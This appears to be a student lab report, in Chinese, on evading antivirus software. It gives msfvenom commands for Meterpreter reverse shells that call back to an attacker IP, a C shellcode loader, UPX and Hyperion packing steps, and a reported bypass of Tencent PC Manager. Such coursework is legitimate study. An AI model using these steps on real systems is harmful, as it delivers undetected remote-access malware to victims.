免杀原理与实践

目录


知识点

基础问题回答

  • 杀软是如何检测出恶意代码的?
    • 特征码(基于签名):模式匹配,比对特征码库
    • 启发式:通过恶意代码的一些特殊行为来进行a判断
    • 基于行为:通过其特殊行为(如修改注册表,自启动,修改权限等),在程序运行时进行监控
    • 上面三个是老师讲的,搜索相关资料还查到了一个,感觉比较像相当时可信讲的封装
      完整性验证法

恶意代码感染、破坏其他目标的过程,也是破坏这些目标的完整性的过程。从另一方面说,保证了系统资源,特别是系统中重要资源的完整性不受破坏,就能够阻止恶意代码对系统资源的感染和破坏。校验和法是完整性控制技术队信息资源实现完整性保护的一种应用,系统在安装的时候会自动将硬盘中的所有文件资料做一次汇总并加入记录,将正常文件的内容计算校验和,将该校验和写入文件保存。定期的火灾文件使用前,检查文件现在内容计算出的校验和与原来保存的是否一致,因而可以发现是否感染。这种方法能够检测出已知和未知恶意代码,但由于恶意代码感染并非文件改变的唯一原因,软件版本升级、变更口令等正常程序也会引起文件更改,因而这种方法容易产生误报,影响文件的运行速度。

  • 免杀是做什么?

反杀毒技术Anti Anti- Virus,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
就是使恶意代码能够运行不被查杀

  • 免杀的基本方法有哪些?

    • 改变特征码
      • 加壳:压缩/加密
      • shellcode:加密/装载
      • 源代码使用其他语言重写再编译
    • 改变行为
      • 通讯方式:反弹连接,数据加密或使用隧道传输
      • 操作方式:恶意代码减少对系统的修改,增加其中的正常代码混淆视听,基于内存来展开操作
  • 开启杀软能绝对防止电脑中恶意代码吗?

    • 不能,比如一些纯手工打造的恶意代码,它采用杀软无法检测的壳进行封装,杀软就检测不出来

↑back


实验内容

任务一

1. 正确使用msf编码器

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.80.131 LPORT=5326 -f exe > met-encoded.exe
\\'-e':指定编码方式
\\'-i':指定编码次数
\\'-b':去除指定代码,一般是空代码或者错误代码
\\'-f':指定生成格式。


2. msfvenom生成如jar之类的其他文件

  • java:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=5326 x > 26_java.jar
  • php:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=5326 x > 26_php.php
  • Android:msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.80.131 lport=5326 x > 26_Android.apk

3. veil-evasion

Veil-Evasion是一种生成有效载荷可执行文件的工具,可绕过常见的防病毒解决方案

感觉是不是跟msf有一丢丢像?然后...wsl,安装路程过于坎坷最后屈服了,拷了别人的虚拟机 [我一定要跟它死磕到底flag]

sudo apt-get install veil-evasion \\这条直接成功概率好小啊
veil \\打开veil
use ....\\balabala进行配置
set ....\\kali的ip和要用的port
\\生成文件
\\查看文件


  • 检测截图

4. 加壳工具使用shellcode编程

  • 首先加壳:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=5326 -f c生成shellcode
  • 写一个.c文件
unsigned char buf[] = 
\\这段就是刚刚生成的那一段复制过来

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 编译生成exe:i686-w64-mingw32-g++ .c -o .exe(gcc是不行滴,你后面加壳就莫法加)

任务二:通过组合应用各种技术实现恶意代码免杀

1. 搞个压缩壳,这里用的upx

UPX 是一款先进的可执行程序文件压缩器。压缩过的可执行文件体积缩小50%-70%,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。它也会被用来给木马和病毒加壳,躲避杀毒软件的查杀。壳upx是一种保护程序。一般是EXE文件的一种外保护措施,主要用途 :
1、让正规文件被保护起来,不容易被修改和破解。
2、使文件压缩变小。
3、保护杀毒软件安装程序,使之不受病毒侵害。
4、木马,病毒的保护外壳,使之难以为攻破。

  • 刚刚上面生成的.exe文件加壳:upx 5326.exe -o 5326_upxed.exe
  • 试一下反弹连接

2.再来个加密壳,hyperion

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/
  • 进入该目录
  • 输入命令wine hyperion.exe -v 5326_upxed.exe 5326_upxed_H.exe进行加壳:
  • 截图

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 攻击方cz:kali[ip:10.1.1.176 port:5326]
  • 受害者yh:win7[ip:10.1.1.243 port:50559] 杀软:腾讯电脑管家13.0.19837.233,恶意代码:far_26.exe,压缩带壳
  • virustotal扫描:
  • yh的管家没查出来:
  • 嚣张

    这里要说一下ho,因为不是本机传输了ho,要换成桥接模式ho,确定在一个网段里面才能传输ho.

实验遇到的问题

  1. veil装不好,我回来补
  2. 桥接换网,kali的ip地址一直都出不来,vmnet0桥接然后改成WiFi适配就能直接上网(要是遇到了可以试一下)

↑back

心得体会

最大的体会:veil真是太难装了,完全不知道问题出在哪里,等我装好了一定给大家做一个完全的教程【吐血】。发现这些杀毒软件都很有意思,给大家排个名:360、腾讯 > 金山毒霸(真的垃圾,啥都扫不出来,全程无查杀说的就是ta.劝大家下载前两个不说了我先去下一个)。总的来说还是学到了各种免杀方法
↑back